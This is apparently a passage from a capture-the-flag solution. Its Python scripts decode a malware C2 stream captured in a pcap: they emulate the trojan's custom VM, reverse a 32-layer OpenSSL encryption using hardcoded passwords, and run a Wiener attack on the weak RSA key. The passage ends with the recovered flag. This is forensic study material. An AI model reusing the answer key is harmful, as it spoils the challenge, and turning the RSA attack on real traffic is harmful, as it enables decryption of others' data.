return
if opcode == 22:
self.regs[reg] = (~self.regs[reg]) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 2
return
if opcode == 23:
self.regs[reg] = (self.regs[reg] << (self.regs[src_reg] & 31)) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 24:
self.regs[reg] = (self.regs[reg] & 0xFFFFFFFF) >> (self.regs[src_reg] & 31)
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 25:
shift = self.regs[src_reg] & 31
value = self.regs[reg] & 0xFFFFFFFF
self.regs[reg] = ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFF if shift else value
self.pc += 3
return
if opcode == 26:
shift = self.regs[src_reg] & 31
value = self.regs[reg] & 0xFFFFFFFF
self.regs[reg] = ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF if shift else value
self.pc += 3
return
if opcode == 32:
self.sp = (self.sp - 4) & 0xFFFFFFFF
self.write_u32(self.sp, self.regs[reg])
self.pc += 2
return
if opcode == 33:
self.regs[reg] = self.read_u32(self.sp)
self.sp = (self.sp + 4) & 0xFFFFFFFF
self.pc += 2
return
if opcode == 48:
self.op_compare(self.regs[reg], self.regs[src_reg])
self.pc += 3
return
if opcode == 49:
self.pc = self.imm32()
return
if opcode == 50:
target = self.imm32()
self.pc = target if (self.flags & 1) else self.pc + 5
return
if opcode == 51:
target = self.imm32()
self.pc = target if not (self.flags & 1) else self.pc + 5
return
if opcode == 52:
target = self.imm32()
self.pc = target if (self.flags & 3) == 0 else self.pc + 5
return
if opcode == 53:
target = self.imm32()
self.pc = target if (self.flags & 2) else self.pc + 5
return
if opcode == 64:
target = self.imm32()
self.sp = (self.sp - 4) & 0xFFFFFFFF
self.write_u32(self.sp, self.pc + 5)
self.pc = target
return
if opcode == 65:
self.pc = self.read_u32(self.sp)
self.sp = (self.sp + 4) & 0xFFFFFFFF
return
if opcode == 80:
subcode = self.read_u8(self.pc + 1)
self.pc += 2
if subcode == 0:
command = self.c_string(self.regs[0]).decode("latin1", errors="replace")
self.commands.append(command)
elif subcode == 1:
copied = self.c_string(self.regs[0])
self.output.extend(copied)
self.copied_strings.append(copied.decode("latin1", errors="replace"))
return
if opcode == 96:
self.regs[reg] = (self.regs[reg] + self.imm32_reg()) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 6
return
if opcode == 97:
self.regs[reg] = (self.regs[reg] ^ self.imm32_reg()) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 6
return
if opcode == 98:
addr = self.imm32()
value = self.read_u8(self.pc + 5)
self.write_u8(addr, value)
self.pc += 6
return
raise VmHalt(f"unsupported_opcode_{opcode}")
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Decode the trojan bash DSMV control stream from a pcapng.")
parser.add_argument("pcap", type=pathlib.Path, help="Path to captchated.pcapng")
parser.add_argument("--stream", type=int, default=1, help="TCP stream index to decode (default: 1)")
parser.add_argument(
"--output-dir",
type=pathlib.Path,
default=pathlib.Path("decoded_stream"),
help="Directory used for extracted packets (default: decoded_stream)",
)
parser.add_argument("--tshark", default="tshark", help="Path to tshark binary")
return parser.parse_args()
def run_tshark(pcap: pathlib.Path, stream: int, tshark: str) -> str:
if shutil.which(tshark) is None:
raise SystemExit(f"tshark not found: {tshark}")
proc = subprocess.run(
[tshark, "-r", str(pcap), "-q", "-z", f"follow,tcp,raw,{stream}"],
capture_output=True,
text=True,
check=False,
)
if proc.returncode != 0:
raise SystemExit(proc.stderr.strip() or "tshark failed")
return proc.stdout
def parse_follow_output(output: str) -> tuple[dict[int, str], dict[int, bytes]]:
node_labels: dict[int, str] = {}
directions = {0: bytearray(), 1: bytearray()}
for raw_line in output.splitlines():
line = raw_line.rstrip("\n")
stripped = line.strip()
if not stripped:
continue
if stripped.startswith("Node "):
prefix, value = stripped.split(":", 1)
try:
node_index = int(prefix.split()[1])
except (IndexError, ValueError):
continue
node_labels[node_index] = value.strip()
continue
if stripped.startswith("===") or stripped.startswith("Follow:") or stripped.startswith("Filter:"):
continue
if not HEX_LINE_RE.fullmatch(stripped):
continue
direction = 1 if line.startswith("\t") else 0
directions[direction].extend(bytes.fromhex(stripped))
return node_labels, {key: bytes(value) for key, value in directions.items()}
def parse_packets(stream_data: bytes) -> list[Packet]:
packets: list[Packet] = []
cursor = 0
index = 0
while cursor + 16 <= len(stream_data):
if stream_data[cursor : cursor + 4] != MAGIC:
next_magic = stream_data.find(MAGIC, cursor + 1)
if next_magic < 0:
break
cursor = next_magic
continue
packet_type, payload_len = struct.unpack_from(">II", stream_data, cursor + 4)
packet_end = cursor + 12 + payload_len + 4
if packet_end > len(stream_data):
break
payload = stream_data[cursor + 12 : cursor + 12 + payload_len]
crc = struct.unpack_from(">I", stream_data, cursor + 12 + payload_len)[0]
packets.append(Packet(offset=cursor, index=index, packet_type=packet_type, payload=payload, crc=crc))
index += 1
cursor = packet_end
return packets
def extract_key(packets: Iterable[Packet]) -> tuple[int, int] | None:
for packet in packets:
if packet.packet_type != 1:
continue
try:
modulus_hex, exponent_hex = packet.payload.decode("ascii").split("|", 1)
return int(modulus_hex, 16), int(exponent_hex, 16)
except (UnicodeDecodeError, ValueError):
return None
return None
def rsa_blocks(payload: bytes, modulus: int, exponent: int, in_block: int, out_block: int) -> bytes:
if len(payload) % in_block != 0:
raise ValueError(f"payload length {len(payload)} is not a multiple of {in_block}")
result = bytearray()
for offset in range(0, len(payload), in_block):
chunk = payload[offset : offset + in_block]
value = int.from_bytes(chunk, "big")
decoded = pow(value, exponent, modulus)
raw = decoded.to_bytes((decoded.bit_length() + 7) // 8, "big") if decoded else b""
if len(raw) > out_block:
result.extend(b"\x00" * out_block)
continue
result.extend(b"\x00" * (out_block - len(raw)))
result.extend(raw)
return bytes(result)
def printable_strings(data: bytes, min_len: int = 4) -> list[str]:
matches = re.findall(rb"[ -~]{%d,}" % min_len, data)
return [match.decode("ascii", errors="replace") for match in matches]
def describe_plaintext(packet: Packet, plaintext: bytes) -> DecryptedPacket:
declared_length: int | None = None
body = plaintext
if len(plaintext) >= 4:
declared_length = int.from_bytes(plaintext[:4], "big")
body_end = 4 + declared_length
if 0 <= declared_length <= len(plaintext) - 4:
body = plaintext[4:body_end]
return DecryptedPacket(
packet=packet,
decrypted=plaintext,
declared_length=declared_length,
body=body,
printable_strings=printable_strings(body),
)
def analyze_vm(body: bytes) -> VmTrace | None:
if not body:
return None
vm = VmInterpreter(body)
return vm.run()
def safe_type_name(packet_type: int) -> str:
return TYPE_NAMES.get(packet_type, f"type_{packet_type}")
def write_packet_artifacts(
output_dir: pathlib.Path,
direction_name: str,
packet: Packet,
decrypted: DecryptedPacket | None,
vm_trace: VmTrace | None,
) -> None:
base = f"{packet.index:03d}_{safe_type_name(packet.packet_type)}"
raw_path = output_dir / direction_name / f"{base}.raw.bin"
raw_path.parent.mkdir(parents=True, exist_ok=True)
raw_path.write_bytes(packet.payload)
if decrypted is None:
return
(output_dir / direction_name / f"{base}.dec.bin").write_bytes(decrypted.decrypted)
(output_dir / direction_name / f"{base}.body.bin").write_bytes(decrypted.body)
summary = [
f"packet_type: {packet.packet_type} ({safe_type_name(packet.packet_type)})",
f"payload_len: {len(packet.payload)}",
f"declared_length: {decrypted.declared_length}",
]
if decrypted.printable_strings:
summary.append("printable_strings:")
summary.extend(decrypted.printable_strings)
else:
summary.append("printable_strings: <none>")
if vm_trace is not None:
summary.append(f"vm_steps: {vm_trace.steps}")
summary.append(f"vm_halted: {vm_trace.halted}")
summary.append(f"vm_exit_reason: {vm_trace.exit_reason}")
summary.append(f"vm_flags: {vm_trace.final_flags}")
summary.append("vm_regs: " + ", ".join(f"r{i}=0x{value:08x}" for i, value in enumerate(vm_trace.final_regs)))
if vm_trace.commands:
summary.append("vm_commands:")
summary.extend(vm_trace.commands)
if vm_trace.copied_strings:
summary.append("vm_copied_strings:")
summary.extend(vm_trace.copied_strings)
(output_dir / direction_name / f"{base}.txt").write_text("\n".join(summary) + "\n")
def build_report(
node_labels: dict[int, str],
packets_by_direction: dict[int, list[Packet]],
decoded_packets: dict[tuple[int, int], DecryptedPacket],
vm_traces: dict[tuple[int, int], VmTrace],
key: tuple[int, int] | None,
) -> str:
lines = []
if key is not None:
modulus, exponent = key
lines.append(f"RSA modulus bits: {modulus.bit_length()}")
lines.append(f"RSA exponent: 0x{exponent:x}")
else:
lines.append("RSA key: <not recovered>")
lines.append("")
for direction in (0, 1):
label = node_labels.get(direction, f"node_{direction}")
lines.append(f"Direction {direction}: {label}")
for packet in packets_by_direction.get(direction, []):
lines.append(
f" [{packet.index:03d}] type={packet.packet_type} ({safe_type_name(packet.packet_type)}) "
f"payload_len={len(packet.payload)} crc=0x{packet.crc:08x}"
)
decrypted = decoded_packets.get((direction, packet.index))
if decrypted is None:
continue
lines.append(
f" decrypted_len={len(decrypted.decrypted)} declared_len={decrypted.declared_length} body_len={len(decrypted.body)}"
)
vm_trace = vm_traces.get((direction, packet.index))
if vm_trace is not None:
lines.append(
f" vm_steps={vm_trace.steps} halted={vm_trace.halted} exit={vm_trace.exit_reason} flags={vm_trace.final_flags}"
)
for command in vm_trace.commands:
lines.append(f" command: {command}")
for item in decrypted.printable_strings[:8]:
lines.append(f" ascii: {item}")
lines.append("")
return "\n".join(lines)
def main() -> int:
args = parse_args()
if not args.pcap.exists():
raise SystemExit(f"pcap does not exist: {args.pcap}")
follow_output = run_tshark(args.pcap, args.stream, args.tshark)
node_labels, streams = parse_follow_output(follow_output)
packets_by_direction = {direction: parse_packets(data) for direction, data in streams.items()}
key = None
for direction in (0, 1):
key = extract_key(packets_by_direction[direction])
if key is not None:
break
decoded_packets: dict[tuple[int, int], DecryptedPacket] = {}
vm_traces: dict[tuple[int, int], VmTrace] = {}
if key is not None:
modulus, exponent = key
for direction, packets in packets_by_direction.items():
for packet in packets:
if packet.packet_type not in (2, 3):
continue
try:
plaintext = rsa_blocks(packet.payload, modulus, exponent, 128, 126)
except ValueError:
continue
decoded = describe_plaintext(packet, plaintext)
decoded_packets[(direction, packet.index)] = decoded
trace = analyze_vm(decoded.body)
if trace is not None:
vm_traces[(direction, packet.index)] = trace
output_dir = args.output_dir / f"stream_{args.stream}"
output_dir.mkdir(parents=True, exist_ok=True)
for direction, packets in packets_by_direction.items():
label = node_labels.get(direction, f"node_{direction}")
direction_name = f"node_{direction}_{label.replace(':', '_').replace('/', '_')}"
for packet in packets:
write_packet_artifacts(
output_dir,
direction_name,
packet,
decoded_packets.get((direction, packet.index)),
vm_traces.get((direction, packet.index)),
)
report = build_report(node_labels, packets_by_direction, decoded_packets, vm_traces, key)
report_path = output_dir / "report.txt"
report_path.write_text(report + "\n")
print(report_path)
return 0
if __name__ == "__main__":
sys.exit(main())2. recover_flag.py
作用:
- 接收
flag.enc.32.tar的文件或 Base64 - 按恢复出的 32 个密码逆序解密
- 最终还原
flag.tar和flag.txt
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import binascii
import pathlib
import shutil
import subprocess
import sys
import tarfile
PASSWORDS = [
"QEb9r8PupdebQS0QMpwc3L0yFTuGUffE",
"FJ3s3gbJKtMYxogxZaSP9k7S1Lp0CgKD",
"qTaaLFregMxMLUskVjpOPWlg84Tks2zi",
"fWoOJijarThU8GtGWOPA6JLU3ys7K9nm",
"ztExnwxSn1L9AuLrHJ4sc04zGDlusoec",
"jzRIDkFR5OR9TVJrNiwJZTc6TghRWqF7",
"iGLxZS6B9EZR7WDW0rHgR3WekMbHA8YO",
"IXnln2L6C7oaDcm9IpnJgAsxDnQIxYMi",
"FE84iIynnTzpsV8T6kAOCT6KLNGPO6wy",
"3NyzDUQ61YgG9OiQj7sr426tFz51SQoW",
"zEoX4x9IYm1XtJKvzPMsIO7iTjloGIku",
"hOyLC6ram3NAoZzHJiQg4UMh4kgJQ5sS",
"Xq26UHKzoApqGtjo4uNdIldn30PRnCYJ",
"n0FaMvSbx7H76remVJkJOkPSJ8Rc3fzg",
"z7QB1FhtwwDdQPT4hz91N9MQ2FvQ5iwR",
"9KveUokdDQ6qOBpxpUs1hicRGOJ8u8h1",
"tQdhQTP3EcI0r3T8MsGwk1V6P44J8ofp",
"2jcxs9D2BDiQU1DyNafBLPaXbbhOIDQP",
"bdpszr6xx97ISyxJwYKieVcoV9OdtJho",
"294Y6SAlHVVIAEVEsiVlJmiE8FgQvUor",
"lJydYO9JSE4yS6rS2deAlNM4sct8k0GR",
"hhh8rBsFgzCYJAlRSZuFfUvF04xuK2QL",
"uEGUaG3vY0FmtrmmWVCiMclk25lrATEx",
"K9X62EkSgjqEhImsI2HR15Q8Zl3VMWCq",
"fqK5US8FMEvW0pT8XtjVmaVgMP7k6bef",
"vauQQxeGfUUSLuGPfs8OYtltlgQBogg8",
"Nbspk9zX0iJyPV31mvrQWJix6ZyEbeuj",
"01kkdF1niU6XF4i5eX49F03lP7X3o2dk",
"cpZmcjDL7QAk12Q4en8xLUIr5CAkOVZO",
"Xsx6BG0KRD2irPMyf7fBFciVUUVEVd3n",
"1PziNEeQxAqDMnhdSzQJpzCY630LPgd3",
"Ps8UDAQToV3xUVmGTNZ8bZOuM2UmYJwa",
]
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Reverse the 32-layer OpenSSL chain recovered from the evil bash pcap."
)
parser.add_argument(
"--encrypted",
type=pathlib.Path,
help="Path to the final encrypted tarball (flag.enc.32.tar).",
)
parser.add_argument(
"--base64-file",
type=pathlib.Path,
help="Path to a file containing the exfiltrated Base64 text for flag.enc.32.tar.",
)
parser.add_argument(
"--base64-text",
help="Inline Base64 text for flag.enc.32.tar.",
)
parser.add_argument(
"--work-dir",
type=pathlib.Path,
default=pathlib.Path("recovered_flag"),
help="Directory where intermediate and recovered files are written.",
)
parser.add_argument(
"--keep-intermediates",
action="store_true",
help="Keep every intermediate flag.enc.N.tar file after decryption.",
)
parser.add_argument(
"--openssl",
default="openssl",
help="Path to the openssl executable.",
)
return parser.parse_args()
def ensure_openssl(openssl_bin: str) -> None:
if shutil.which(openssl_bin) is None:
raise SystemExit(f"openssl not found: {openssl_bin}")
def decode_base64_payload(text: str) -> bytes:
compact = "".join(text.split())
try:
return base64.b64decode(compact, validate=True)
except binascii.Error as exc:
raise SystemExit(f"invalid Base64 input: {exc}") from exc
def load_encrypted_input(args: argparse.Namespace) -> tuple[bytes, str]:
if args.encrypted is not None:
return args.encrypted.read_bytes(), args.encrypted.name
if args.base64_file is not None:
return decode_base64_payload(args.base64_file.read_text()), "flag.enc.32.tar"
if args.base64_text is not None:
return decode_base64_payload(args.base64_text), "flag.enc.32.tar"
raise SystemExit("one of --encrypted, --base64-file, or --base64-text is required")
def decrypt_once(openssl_bin: str, input_path: pathlib.Path, output_path: pathlib.Path, password: str) -> None:
proc = subprocess.run(
[
openssl_bin,
"enc",
"-d",
"-aes-256-cbc",
"-salt",
"-pbkdf2",
"-pass",
f"pass:{password}",
"-in",
str(input_path),
"-out",
str(output_path),
],
capture_output=True,
text=True,
check=False,
)
if proc.returncode != 0:
stderr = proc.stderr.strip() or proc.stdout.strip() or "openssl decryption failed"
raise SystemExit(f"failed to decrypt {input_path.name}: {stderr}")
def extract_tar(tar_path: pathlib.Path, output_dir: pathlib.Path) -> list[pathlib.Path]:
extracted: list[pathlib.Path] = []
with tarfile.open(tar_path, "r") as tar_file:
for member in tar_file.getmembers():
tar_file.extract(member, output_dir)
extracted.append(output_dir / member.name)
return extracted
def main() -> int:
args = parse_args()
ensure_openssl(args.openssl)
payload, input_name = load_encrypted_input(args)
work_dir = args.work_dir
work_dir.mkdir(parents=True, exist_ok=True)
current_path = work_dir / input_name
current_path.write_bytes(payload)
for layer, password in zip(range(32, 0, -1), reversed(PASSWORDS), strict=True):
if layer == 1:
next_path = work_dir / "flag.tar"
else:
next_path = work_dir / f"flag.enc.{layer - 1}.tar"
decrypt_once(args.openssl, current_path, next_path, password)
if not args.keep_intermediates and current_path != work_dir / input_name:
current_path.unlink(missing_ok=True)
current_path = next_path
extracted_dir = work_dir / "extracted"
extracted_dir.mkdir(parents=True, exist_ok=True)
extracted = extract_tar(current_path, extracted_dir)
print(f"decrypted_archive={current_path}")
for path in extracted:
print(f"extracted={path}")
return 0
if __name__ == "__main__":
sys.exit(main())3. analyze_rsa_exfil.py
这是把后半段当密码题处理时新增的脚本,作用:
- 读取握手里的
n,e - 做 bounded weak-factor 检查
- 自动跑 Wiener attack
- 在拿到
d后直接解密最终type 3外传包
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import math
import pathlib
import re
from typing import Iterable
from sympy import factorint
from sympy.ntheory.factor_ import pollard_pm1, pollard_rho
DEFAULT_STREAM_DIR = pathlib.Path("decoded_stream/stream_1")
HANDSHAKE_PATH = DEFAULT_STREAM_DIR / "node_1_127.0.0.1_9999" / "000_handshake.raw.bin"
CLIENT_DIR = DEFAULT_STREAM_DIR / "node_0_127.0.0.1_42594"
DEFAULT_CLIENT_PACKETS = [36, 37]
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Analyze the RSA-backed DSMV exfil flow and optionally decrypt final type-3 packets."
)
parser.add_argument(
"--handshake",
type=pathlib.Path,
default=HANDSHAKE_PATH,
help=f"Path to handshake payload (default: {HANDSHAKE_PATH})",
)
parser.add_argument(
"--client-dir",
type=pathlib.Path,
default=CLIENT_DIR,
help=f"Directory containing client payload artifacts (default: {CLIENT_DIR})",
)
parser.add_argument(
"--packets",
type=int,
nargs="+",
default=DEFAULT_CLIENT_PACKETS,
help="Client packet indices to decrypt (default: 36 37)",
)
parser.add_argument(
"--output-dir",
type=pathlib.Path,
default=pathlib.Path("rsa_exfil_analysis"),
help="Directory for recovered artifacts (default: rsa_exfil_analysis)",
)
parser.add_argument(
"--private-exponent",
help="Private exponent d as hex or decimal. If set, decrypt candidate type-3 packets.",
)
parser.add_argument("--p", help="Prime factor p as hex or decimal.")
parser.add_argument("--q", help="Prime factor q as hex or decimal.")
parser.add_argument(
"--attempt-weak-factor",
action="store_true",
help="Run bounded weak-factor checks (small factors, Pollard p-1, Pollard rho).",
)
return parser.parse_args()
def parse_int(text: str) -> int:
text = text.strip()
return int(text, 16) if text.startswith("0x") else int(text, 0)
def load_handshake(path: pathlib.Path) -> tuple[int, int]:
modulus_hex, exponent_hex = path.read_text().strip().split("|", 1)
return int(modulus_hex, 16), int(exponent_hex, 16)
def egcd(a: int, b: int) -> tuple[int, int, int]:
if b == 0:
return a, 1, 0
gcd_value, x1, y1 = egcd(b, a % b)
return gcd_value, y1, x1 - (a // b) * y1
def mod_inverse(value: int, modulus: int) -> int:
gcd_value, x, _ = egcd(value, modulus)
if gcd_value != 1:
raise ValueError(f"inverse does not exist: gcd({value}, {modulus}) = {gcd_value}")
return x % modulus
def weak_factor_checks(modulus: int) -> dict[str, object]:
result: dict[str, object] = {}
result["small_factor_scan"] = factorint(modulus, limit=10**6)
result["pollard_pm1_B1_1e5"] = pollard_pm1(modulus, B=10**5, a=2, retries=1)
result["pollard_pm1_B1_1e6"] = pollard_pm1(modulus, B=10**6, a=2, retries=1)
result["pollard_rho"] = pollard_rho(modulus, retries=3, max_steps=200000)
return result
def continued_fraction(numerator: int, denominator: int) -> list[int]:
terms: list[int] = []
while denominator:
quotient = numerator // denominator
terms.append(quotient)
numerator, denominator = denominator, numerator - quotient * denominator
return terms
def convergents(terms: list[int]) -> list[tuple[int, int]]:
values: list[tuple[int, int]] = []
p0, p1 = 0, 1
q0, q1 = 1, 0
for term in terms:
p0, p1 = p1, term * p1 + p0
q0, q1 = q1, term * q1 + q0
values.append((p1, q1))
return values
def is_perfect_square(value: int) -> int | None:
if value < 0:
return None
root = math.isqrt(value)
return root if root * root == value else None
def wiener_attack(public_exponent: int, modulus: int) -> int | None:
terms = continued_fraction(public_exponent, modulus)
for k, d in convergents(terms):
if k == 0:
continue
ed_minus_1 = public_exponent * d - 1
if ed_minus_1 % k != 0:
continue
phi = ed_minus_1 // k
s = modulus - phi + 1
discriminant = s * s - 4 * modulus
root = is_perfect_square(discriminant)
if root is None:
continue
if (s + root) % 2 or (s - root) % 2:
continue
p = (s + root) // 2
q = (s - root) // 2
if p * q == modulus:
return d
return None
def rsa_block_transform(payload: bytes, modulus: int, exponent: int, in_block: int = 128, out_block: int = 126) -> bytes:
if len(payload) % in_block != 0:
raise ValueError(f"payload length {len(payload)} is not a multiple of {in_block}")
result = bytearray()
for offset in range(0, len(payload), in_block):
chunk = payload[offset : offset + in_block]
value = int.from_bytes(chunk, "big")
decoded = pow(value, exponent, modulus)
raw = decoded.to_bytes((decoded.bit_length() + 7) // 8, "big") if decoded else b""
if len(raw) > out_block:
raise ValueError(f"block at offset {offset} expanded to {len(raw)} bytes (> {out_block})")
result.extend(b"\x00" * (out_block - len(raw)))
result.extend(raw)
return bytes(result)
def printable_strings(data: bytes, min_len: int = 4) -> list[str]:
matches = re.findall(rb"[ -~]{%d,}" % min_len, data)
return [match.decode("ascii", errors="replace") for match in matches]
def candidate_bodies(plaintext: bytes) -> list[tuple[str, bytes]]:
candidates = [("full", plaintext)]
if len(plaintext) >= 4:
declared = int.from_bytes(plaintext[:4], "big")
if 0 <= declared <= len(plaintext) - 4:
candidates.append((f"declared_{declared}", plaintext[4 : 4 + declared]))
return candidates
def decrypt_packets(
client_dir: pathlib.Path,
packet_indices: Iterable[int],
modulus: int,
private_exponent: int,
output_dir: pathlib.Path,
) -> list[pathlib.Path]:
output_dir.mkdir(parents=True, exist_ok=True)
outputs: list[pathlib.Path] = []
merged_full = bytearray()
for packet_index in packet_indices:
raw_path = client_dir / f"{packet_index:03d}_client_payload.raw.bin"
payload = raw_path.read_bytes()
plaintext = rsa_block_transform(payload, modulus, private_exponent)
merged_full.extend(plaintext)
base = output_dir / f"{packet_index:03d}_client_payload"
(base.with_suffix(".dec.bin")).write_bytes(plaintext)
summary_lines = [
f"packet_index: {packet_index}",
f"payload_len: {len(payload)}",
f"plaintext_len: {len(plaintext)}",
]
for label, body in candidate_bodies(plaintext):
summary_lines.append(f"candidate: {label} len={len(body)}")
strings = printable_strings(body)
if strings:
summary_lines.extend(f" ascii: {item}" for item in strings[:32])
summary_path = base.with_suffix(".txt")
summary_path.write_text("\n".join(summary_lines) + "\n")
outputs.append(summary_path)
merged_path = output_dir / "merged_full_plaintext.bin"
merged_path.write_bytes(bytes(merged_full))
merged_ascii = output_dir / "merged_printable.txt"
merged_ascii.write_text("\n".join(printable_strings(bytes(merged_full), min_len=8)) + "\n")
outputs.extend([merged_path, merged_ascii])
return outputs
def main() -> int:
args = parse_args()
modulus, public_exponent = load_handshake(args.handshake)
print(f"modulus_bits={modulus.bit_length()}")
print(f"public_exponent=0x{public_exponent:x}")
wiener_d = wiener_attack(public_exponent, modulus)
print(f"wiener_private_exponent={None if wiener_d is None else hex(wiener_d)}")
if args.attempt_weak_factor:
checks = weak_factor_checks(modulus)
for key, value in checks.items():
print(f"{key}={value}")
private_exponent: int | None = None
if args.private_exponent is not None:
private_exponent = parse_int(args.private_exponent)
elif args.p is not None and args.q is not None:
p = parse_int(args.p)
q = parse_int(args.q)
if p * q != modulus:
raise SystemExit("provided p and q do not multiply to the handshake modulus")
phi = math.lcm(p - 1, q - 1)
private_exponent = mod_inverse(public_exponent, phi)
print(f"derived_private_exponent=0x{private_exponent:x}")
if private_exponent is not None:
written = decrypt_packets(args.client_dir, args.packets, modulus, private_exponent, args.output_dir)
for path in written:
print(path)
return 0
if __name__ == "__main__":
raise SystemExit(main())flag{w13n3r_4tt4ck_vm_r3v3rs3_m4st3r_uOcslSotTK0nATY58heOix6l4cyByJtWm5IDiMj02qKXdulC8BIY4pA3oPR9JXJhY88oy8dylqtpNgDTMUY0vjj4H9fiSOjgvedz}